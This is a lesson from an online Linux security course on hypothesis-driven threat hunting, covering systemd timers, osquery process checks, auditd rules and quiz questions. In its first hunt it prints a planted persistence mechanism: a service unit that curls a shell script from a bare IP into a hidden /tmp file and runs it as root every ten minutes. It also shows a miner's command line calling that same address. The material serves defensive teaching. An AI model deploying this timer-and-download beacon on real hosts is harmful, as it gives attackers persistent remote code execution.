CoursesAdvanced Linux securityThreat hunting on Linux

Threat hunting on Linux

Hypothesis-driven, proactive searching.

Advanced12 min · lesson 14 of 17

A smoke detector waits. It sits on the ceiling, silent, until smoke of a shape it already recognizes reaches the sensor, and then it screams. That is a detection: automated, reactive, and only as good as the known-bad patterns someone loaded into it. Threat hunting is the fire inspector who walks the building on a normal Tuesday, opening electrical panels and checking the wiring nobody has flagged. A person, moving on purpose, looking for the intrusion your rules never fired on.

Hunting exists because no detection set is ever finished. The techniques you have not automated, and the new ones nobody has automated anywhere, get found by someone who goes looking. It is how you catch the compromise your alerts missed, and it is usually how the next alert gets written. The prize at the end of a good hunt is rarely only the words 'we found evil.' More often it is a new automated check, so a machine catches this same thing next time and you never have to hunt it by hand again.

Start With a Hypothesis, Not a Vibe

A hunt is a detective with a specific theory, not a tourist wandering the scene. 'Let me look around the servers' is a vibe. It has no finish line, so it never ends and never proves anything. A hypothesis names one concrete attacker behavior and the trace it would leave behind. Like this: 'If someone planted persistence with a systemd timer (systemd is the program that starts and supervises services on modern Linux, and a timer is its built-in scheduler, like a kitchen timer that runs a chore on a repeat), there will be a recently created .timer unit on disk pointing at an odd path. Let me find every timer unit that appeared in the last week.' That you can test. It has a clean yes or no at the bottom of it.

Hunt One: A Timer That Should Not Be There

systemd ships a command that lists every timer on the box and the service each one runs. Start there, on a single host, to see the shape of what you are looking at.

~/secopslog — bash
$ systemctl list-timers --all --no-pager
NEXT LEFT LAST PASSED UNIT ACTIVATES Fri 2026-07-17 02:37:00 UTC 4min left Fri 2026-07-17 02:27:00 UTC 5min ago sysupdate.timer sysupdate.service Fri 2026-07-17 03:10:14 UTC 37min left Thu 2026-07-16 03:10:14 UTC 23h ago fstrim.timer fstrim.service Fri 2026-07-17 06:00:00 UTC 3h 27min left Thu 2026-07-16 06:00:00 UTC 20h ago apt-daily.timer apt-daily.service Fri 2026-07-17 06:12:34 UTC 3h 40min left Thu 2026-07-16 06:12:34 UTC 20h ago apt-daily-upgrade.timer apt-daily-upgrade.service Fri 2026-07-17 09:07:41 UTC 6h 35min left Thu 2026-07-16 09:07:41 UTC 17h ago motd-news.timer motd-news.service Sat 2026-07-18 00:00:00 UTC 21h left Fri 2026-07-17 00:00:00 UTC 2h ago logrotate.timer logrotate.service 6 timers listed.

The list is inventory, not judgment. Nothing in it wears a label that says 'malicious', and sysupdate.timer looks as boring as the rest. What separates a planted unit from a shipped one is age. The packages that came with the operating system were written to disk when you built the image, weeks or months ago, while a freshly planted unit carries a fresh mtime (modification time, the timestamp the filesystem stamps on a file whenever its contents last change). So stop reading the pretty output and ask the filesystem a blunt question: which unit files are new?

~/secopslog — bash
$ find /etc/systemd/system /run/systemd/system /usr/lib/systemd/system \ \( -name '*.service' -o -name '*.timer' \) \ -newermt '2026-07-10' -printf '%TY-%Tm-%Td %TH:%TM %p\n' 2>/dev/null | sort
2026-07-14 03:22 /etc/systemd/system/sysupdate.service 2026-07-14 03:22 /etc/systemd/system/sysupdate.timer

Two files, born at 03:22 on the 14th, days after the box was built and while nobody was doing maintenance. That is the lead. Open the service unit it triggers and read what it actually runs.

/etc/systemd/system/sysupdate.service
[Unit]
Description=System update helper
[Service]
Type=oneshot
ExecStart=/usr/bin/curl -fsSL http://185.220.101.44/u.sh -o /tmp/.u
ExecStartPost=/bin/bash /tmp/.u

This is not an update. It reaches out to a bare IP address (Internet Protocol address, the numeric address of a machine on a network) with no hostname, pulls a shell script down into a hidden file (the leading dot on /tmp/.u hides it from a plain directory listing), and runs it. And the timer decides how often that happens.

/etc/systemd/system/sysupdate.timer
[Unit]
Description=Run system update helper
[Timer]
OnBootSec=2min
OnUnitActiveSec=10min
Unit=sysupdate.service
[Install]
WantedBy=timers.target

Two minutes after every boot, then every ten minutes forever, running as root because system units run as root by default. That is a beacon: a command-and-control channel (C2, the attacker's remote-control line into your host) that wakes up on a schedule to fetch fresh instructions, wired to survive reboots. Your hypothesis is now proven on this host, and the same find query becomes the fleet-wide hunt: run it everywhere and see who else grew a new unit this week.

Hunt Two: A Process Whose File Is Gone

Attackers like to run from memory and erase their tracks on disk. A payload copies itself into a temporary folder, starts running, then deletes its own file. The program keeps executing in RAM (Random Access Memory, the computer's fast working memory that is wiped on reboot) while the file that launched it no longer exists. In building terms, the worker is still walking the halls after their ID badge has been cancelled and their desk cleared out. The paperwork says they are gone. The person is not.

osquery (a free tool that lets you ask questions about a machine's live state using SQL, the Structured Query Language that databases speak) turns the running-process list into a table you can query, on one host or ten thousand at once. Every process row has an on_disk column: 1 if the executable behind it still exists on disk, 0 if that backing file is gone. A process running from a file that no longer exists is a strong, low-noise lead.

~/secopslog — bash
$ osqueryi --json "SELECT pid, name, path, cmdline, on_disk FROM processes WHERE on_disk = 0 AND path NOT LIKE '/usr/%';"
[ { "cmdline": "/tmp/kdevtmpfsi 185.220.101.44 8080", "name": "kdevtmpfsi", "on_disk": "0", "path": "/tmp/kdevtmpfsi", "pid": "31980" } ]

kdevtmpfsi is the name a well-known cryptomining crew gives its miner, dressed up to look like a kernel thread. It is running from /tmp, its backing file has already been deleted, and it is talking to the same address the timer beacons to. That combination is not an accident. Someone got a foothold here. To learn how it started and as whom, pivot to the audit trail.

on_disk = 0 has a loud false positive
A perfectly healthy process shows on_disk = 0 for a boring reason: its package was upgraded and the old binary got replaced while the process kept running. That is why the query already excludes /usr, and why you triage every hit by path, parent process, and user before paging anyone. A binary running from /tmp with a deleted file and an outbound IP is worth waking up for; sshd showing on_disk = 0 the day after a patch window is not. The flag is a lead, not a verdict.

auditd (the Linux Audit daemon, a kernel feature that records security-relevant events like every program launch to a log userland cannot quietly edit) will have recorded the launch, if you told it to watch for one. The rule that captures every program start is short and belongs in a file under the audit rules directory.

/etc/audit/rules.d/exec.rules
## Log every program execution on a 64-bit host, tagged with a key we can search on
-a always,exit -F arch=b64 -S execve -k proc_exec

That rule watches for execve (the system call a process makes to replace itself with a new program, in plain words, 'run this binary'). With it in place, ask the audit log who ran the miner.

~/secopslog — bash
$ ausearch -ts today -x /tmp/kdevtmpfsi -i
type=SYSCALL msg=audit(07/17/2026 01:12:44.771:88213) : arch=x86_64 syscall=execve success=yes exit=0 items=2 ppid=30991 pid=31980 auid=unset uid=www-data gid=www-data euid=www-data egid=www-data tty=(none) ses=unset comm=kdevtmpfsi exe=/tmp/kdevtmpfsi key=proc_exec type=EXECVE msg=audit(07/17/2026 01:12:44.771:88213) : argc=3 a0=/tmp/kdevtmpfsi a1=185.220.101.44 a2=8080

Now read the story straight off the record. The process ran as uid=www-data (uid is the user ID, the number Linux uses to identify a user, and www-data is the account web servers run under), which tells you the door in was almost certainly the web application. Its ppid=30991 (ppid is the parent process ID, the process that spawned this one) points back at whatever the web app shelled out to. A web server has no honest reason to launch a miner. This is no longer a hunt. It is an incident, and you have the entry point, the timestamp, and the C2 address to hand to response.

Do not hunt only on the suspect host
A root-level attacker can rewrite local log files and backdate file timestamps, so a compromised box will happily lie to you about its own history. Treat anything you read on a possibly-owned host as a hint, then confirm it against the off-host event store (your process and login events shipped to a central place the host cannot reach back into and edit). That copy is your ground truth. If the timer's creation shows up in the central store but the local logs are silent about it, that silence is itself a finding.

Anomaly Only Means Something Against a Baseline

You know your own kitchen so well that a mug moved four inches to the left catches your eye the second you walk in. A guest would never notice. That familiarity is the defender's edge, and the attacker does not have it. Most host hunting comes down to one question: what is unusual here? A process reaching an address it has never contacted before. A login at 3 a.m. from a country your team does not work in. A host running a binary that no other machine in the same role runs. A parent-child pair that has no business existing, like a database server spawning a shell that spawns curl. None of those mean anything until you know what normal looked like. The baselines you built to catch privilege escalation (an attacker turning limited access into full root or admin control) and persistence are the same ground you hunt over. The deviations are the leads.

Every Hunt Has to Leave You Better Off

Good hunting spends everything you learned about offense. You hunt for the escalation paths, the persistence spots, the stealth tricks, and the credential theft because you cannot form a hypothesis about behavior you do not understand. The privilege-escalation audit you wrote, the persistence sweep, the rootkit discrepancy check (comparing what the kernel reports against what ordinary tools report, to catch something hiding, where a rootkit is software that conceals an attacker's presence) are all hunts. Run them on demand when a threat report lands, and on a schedule so they compound. Here is the discipline that makes it pay off: a hunt that finds nothing is fine, but only if it ends in a new automated detection or a sharper baseline. A hunt that finds nothing and changes nothing is an afternoon you will not get back.

The hunt loop
1Form a hypothesis
One attacker behavior and the exact trace it leaves
2Gather the data
osquery fleet-wide, auditd, off-host logs
3Hunt the anomaly
Compare live state against your baseline
4Prove or disprove
A real finding becomes an incident
5Close the loop
Ship a detection or sharpen the baseline, then repeat
Quick check
01You run the new-timer-unit hunt across every host in the fleet and it comes back with zero matches. What do you do with that result?
Incorrect — An empty result tells you the behavior was absent where and when you looked, which is a much weaker statement than a clean bill of health for the fleet.
Incorrect — The theory is about attacker behavior, not about this week's data. Nobody used the trick during the window you searched, and that leaves the theory standing.
Correct — This is the payoff the lesson asks for. A machine now watches for the technique overnight, and your written picture of normal makes the next hunt sharper.
Incorrect — Rerunning by hand is exactly the toil you are meant to hand off, and a scheduled check can be edited when normal shifts just as easily as a note can.
02You are staring at systemctl list-timers and sysupdate.timer sits there looking as unremarkable as apt-daily.timer. Which comparison actually tells a planted unit apart from one the operating system shipped?
Correct — Packaged units land on disk when you build the image, so a unit file dated days later is the outlier, and that is what the find search for recent files pulls out.
Incorrect — Whoever planted this one wrote a description that reads like maintenance tooling, so the wording tells you what the attacker wanted you to assume, not where the file came from.
Incorrect — System units run as root unless someone says otherwise, so the shipped timers and the planted one share that trait and it separates nothing.
Incorrect — The planted timer is printed right alongside the legitimate ones, which is why that listing is an inventory rather than a judgment about any entry.
03You run an osquery sweep for on_disk = 0 without the usual /usr exclusion and get two rows: sshd from /usr/sbin the morning after a patch window, and an unnamed binary in /tmp whose backing file is gone that holds a connection to an outside address. How do you handle them?
Incorrect — Healthy processes end up in this state whenever their package is replaced underneath them, so the flag opens an investigation rather than settling one.
Correct — You judge each row by where it runs from, what started it, and who owns it, and only one of these two rows fails all three of those checks.
Incorrect — Clear the whole result set and the miner in /tmp keeps beaconing out of your network while you feel like you saved the team some time.
Incorrect — That reads the evidence backwards. Maintenance explains the sshd row, while nothing routine explains a nameless deleted binary in /tmp with a live outbound socket.

So before you close the ticket on today's hunt, take the query that would have caught it and put it on a schedule. Write down what the timer list, the process table, and the login times looked like while everything was fine, and store that next to the query. Next quarter, when someone plants the same kind of timer, a machine catches it while you are asleep, and you get to spend your Tuesday afternoon hunting the thing nobody has automated yet.

Try this

Work through “Every Hunt Has to Leave You Better Off” yourself on a sandbox you can throw away, following the commands above in order. Then break one step deliberately and re-run, so you have seen the failure before it finds you.

Takeaway

The trap worth remembering here: on_disk = 0 has a loud false positive. Check that on your own systems before you need to, because it is cheaper to find on a quiet afternoon than during an incident.

Related